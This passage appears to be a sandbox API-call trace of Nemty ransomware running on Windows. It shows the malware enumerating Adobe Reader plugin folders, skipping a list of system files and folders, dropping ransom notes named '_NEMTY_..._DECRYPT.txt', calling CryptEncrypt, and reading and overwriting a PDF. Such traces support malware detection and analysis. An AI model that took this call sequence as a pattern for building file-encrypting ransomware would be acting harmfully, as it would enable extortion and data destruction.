lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0188.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0188.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404a8 [0188.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.864] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x242c84f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x242c84f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x242ee650, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0188.864] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0188.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0188.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.864] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="JPN", cAlternateFileName="")) returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2=".") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="..") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="...") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="windows") returned -1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="$RECYCLE.BIN") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="rsa") returned -1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="NTDETECT.COM") returned -1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="ntldr") returned -1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="MSDOS.SYS") returned -1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="IO.SYS") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="boot.ini") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="boot.ini") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="AUTOEXEC.BAT") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="ntuser.dat") returned -1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="desktop.ini") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="CONFIG.SYS") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="RECYCLER") returned -1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="BOOTSECT.BAK") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="bootmgr") returned 1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="programdata") returned -1 [0188.864] lstrcmpiW (lpString1="JPN", lpString2="appdata") returned 1 [0188.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JPN", lpUsedDefaultChar=0x0) returned 3 [0188.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JPN", lpUsedDefaultChar=0x0) returned 3 [0188.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0188.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0188.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0188.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0188.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0188.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0188.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0188.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.868] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.868] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0188.868] CloseHandle (hObject=0x2f0) returned 1 [0188.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0188.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0188.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0188.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0188.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0188.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0188.869] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.870] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.870] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0188.870] CloseHandle (hObject=0x2f0) returned 1 [0188.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0188.871] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24386bd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24386bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0188.871] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0188.871] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24386bd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24386bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0188.871] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0188.871] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0188.871] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc2c, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0188.871] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0188.872] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.872] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0188.872] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0188.872] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0188.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0188.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.872] Sleep (dwMilliseconds=0x5) [0188.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x243acd30, dwHighDateTime=0x1d561e8)) [0188.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x243acd30, dwHighDateTime=0x1d561e8)) [0188.883] GetLastError () returned 0xb7 [0188.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.883] GetLastError () returned 0xb7 [0188.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.883] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.883] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.883] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.883] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="YezKIk+FBEhxmpYXHUrrrhzWql56wDicETjd1D98SV5TeLxuFygqZkxgy2jNBfHc\r\nW8VGz3M+i3nAzsEvOY7mSpXIFodgAHgft/jIy+zb5P3Sb6s2XVmBm9Q2guqx9I19\r\ncHQFYKO2JJkMuOLNaBbWhAzB/e+921ez5ZLF0NwQGTjdMVk8hIt60IIguP/0+z3L\r\neo/NbOX6P1bDuqbFPuXE/XLM6Q20iIV+vQolJT0MNKdrBUupqX3dJ4X3ew8rGZJU\r\nzOykFNdMd//8IOzqkOB0jlchk585+kf1XtF6svn96c3qQpa3LTfYTNxUwTQWUlYf\r\nVjxwa7AlGoNSo1Y6cX4vtw==\r\n", pcchString=0x653df5c) returned 1 [0188.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.884] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=52268) returned 1 [0188.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xcc20) returned 0x6352c48 [0188.884] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.884] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xcc20, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xcc20, lpOverlapped=0x0) returned 1 [0188.889] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.889] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xcc20, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xcc20, 